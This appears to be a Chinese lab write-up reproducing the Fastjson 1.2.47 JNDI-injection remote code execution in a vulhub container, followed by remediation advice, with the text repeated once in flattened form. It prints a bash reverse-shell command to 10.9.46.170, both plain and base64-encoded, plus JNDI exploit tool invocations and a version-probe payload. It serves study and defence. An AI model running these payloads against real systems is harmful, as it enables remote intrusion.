fastjson-CNVD-2019-22238漏洞复现
字数 1477 2025-08-10 17:51:54

Fastjson 1.2.47 远程代码执行漏洞复现与分析

1. 漏洞简介

1.1 Fastjson 简介

Fastjson 是一款开源 JSON 解析库,它可以:

  • 解析 JSON 格式的字符串
  • 支持将 Java Bean 序列化为 JSON 字符串
  • 支持从 JSON 字符串反序列化到 JavaBean

1.2 漏洞说明

漏洞描述
Fastjson 在解析 JSON 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。攻击者可以通过构造特定的恶意利用链实现远程代码执行。

漏洞条件

  • Fastjson 开启了 autotype 功能
  • Fastjson 版本 <= 1.2.47
  • JDK 1.8 版本

漏洞原理
Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 "@type" 键指定任意反序列化类名。在数据传输时会默认调用该对象的 setter/getter 方法。攻击者可以利用 JdbcRowSetImpl 类,该类在 setAutoCommit 函数中会对成员变量 dataSourceName 进行 lookup,从而导致 JNDI 注入。

2. 漏洞复现

2.1 环境搭建

系统环境

  • Kali Linux (2023)
  • Fastjson 1.2.47-rce
  • JNDI-Injection-Exploit (JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
  • JDK 1.8.0_301
  • fastjsonScan 工具

搭建步骤

cd /home/kali/vulhub/fastjson/1.2.47-rce/
sudo docker-compose up -d

2.2 判断 Fastjson 版本

  • 使用 DNSLog 只能判断是否存在 Fastjson,无法确定具体版本
  • 使用 FastjsonScan.exe 工具
  • 如果目标不出网,则无法判断

2.3 验证漏洞

构造 POST 请求方法,使用 DNSLog 进行验证。

2.4 写入文件

步骤

  1. 启动 JNDI 注入利用工具:
cd /home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target/
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ajest" -A "10.9.46.170"
  1. 查看 Docker 容器中的文件:
sudo docker ps -a
sudo docker exec -it a47a89bae3c8 /bin/bash
cd /tmp
ls

2.5 反弹 Shell

步骤

  1. 在 Kali 上监听端口:
nc -lvp 1234
  1. 构造恶意请求:
  • 反弹 Shell 命令:bash -i >& /dev/tcp/10.9.46.170/1234 0>&1
  • 对命令进行 Base64 编码(可使用在线工具如 https://ares-x.com/tools/runtime-exec)
  1. 启动 JNDI 注入利用工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.46.170"
  1. 使用 Burp Suite 发送构造好的请求包

3. 漏洞修复建议

  1. 升级 Fastjson

    • 升级到最新版(>=1.2.68,新增了 safemode,彻底关闭 autotype)
    • 最少升级到 1.2.48 以上版本且关闭 autotype 选项
  2. WAF 防护

    • 拦截过滤请求包中的 @type
    • 拦截 %u0040%u0074%u0079%u0070%u0065、\u0040type、\x04type 等多种编码的 autotype 变形
  3. 升级 JDK

    • 升级到 8u191/7u201/6u211/11.0.1 以上版本

4. 补充说明

探测版本 Payload

[{"a":"ax]{"@type":"java.lang.AutoCloseable"a

根据回显可以判断 Fastjson 版本。

注意事项

  • 目前还没有特别好的方法判断 Fastjson 的具体版本
  • 该漏洞复现与 Fastjson 1.2.24 基本类似

5. 参考资料

Fastjson 1.2.47 远程代码执行漏洞复现与分析 1. 漏洞简介 1.1 Fastjson 简介 Fastjson 是一款开源 JSON 解析库,它可以: 解析 JSON 格式的字符串 支持将 Java Bean 序列化为 JSON 字符串 支持从 JSON 字符串反序列化到 JavaBean 1.2 漏洞说明 漏洞描述 : Fastjson 在解析 JSON 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。攻击者可以通过构造特定的恶意利用链实现远程代码执行。 漏洞条件 : Fastjson 开启了 autotype 功能 Fastjson 版本 <= 1.2.47 JDK 1.8 版本 漏洞原理 : Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 "@type" 键指定任意反序列化类名。在数据传输时会默认调用该对象的 setter/getter 方法。攻击者可以利用 JdbcRowSetImpl 类,该类在 setAutoCommit 函数中会对成员变量 dataSourceName 进行 lookup,从而导致 JNDI 注入。 2. 漏洞复现 2.1 环境搭建 系统环境 : Kali Linux (2023) Fastjson 1.2.47-rce JNDI-Injection-Exploit (JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar) JDK 1.8.0_ 301 fastjsonScan 工具 搭建步骤 : 2.2 判断 Fastjson 版本 使用 DNSLog 只能判断是否存在 Fastjson,无法确定具体版本 使用 FastjsonScan.exe 工具 如果目标不出网,则无法判断 2.3 验证漏洞 构造 POST 请求方法,使用 DNSLog 进行验证。 2.4 写入文件 步骤 : 启动 JNDI 注入利用工具: 查看 Docker 容器中的文件: 2.5 反弹 Shell 步骤 : 在 Kali 上监听端口: 构造恶意请求: 反弹 Shell 命令: bash -i >& /dev/tcp/10.9.46.170/1234 0>&1 对命令进行 Base64 编码(可使用在线工具如 https://ares-x.com/tools/runtime-exec) 启动 JNDI 注入利用工具: 使用 Burp Suite 发送构造好的请求包 3. 漏洞修复建议 升级 Fastjson : 升级到最新版(>=1.2.68,新增了 safemode,彻底关闭 autotype) 最少升级到 1.2.48 以上版本且关闭 autotype 选项 WAF 防护 : 拦截过滤请求包中的 @type 拦截 %u0040%u0074%u0079%u0070%u0065、\u0040type、\x04type 等多种编码的 autotype 变形 升级 JDK : 升级到 8u191/7u201/6u211/11.0.1 以上版本 4. 补充说明 探测版本 Payload : 根据回显可以判断 Fastjson 版本。 注意事项 : 目前还没有特别好的方法判断 Fastjson 的具体版本 该漏洞复现与 Fastjson 1.2.24 基本类似 5. 参考资料 Java 反序列化 | 08 - fastjson_ 1.2.47 反序列化漏洞复现 - 知乎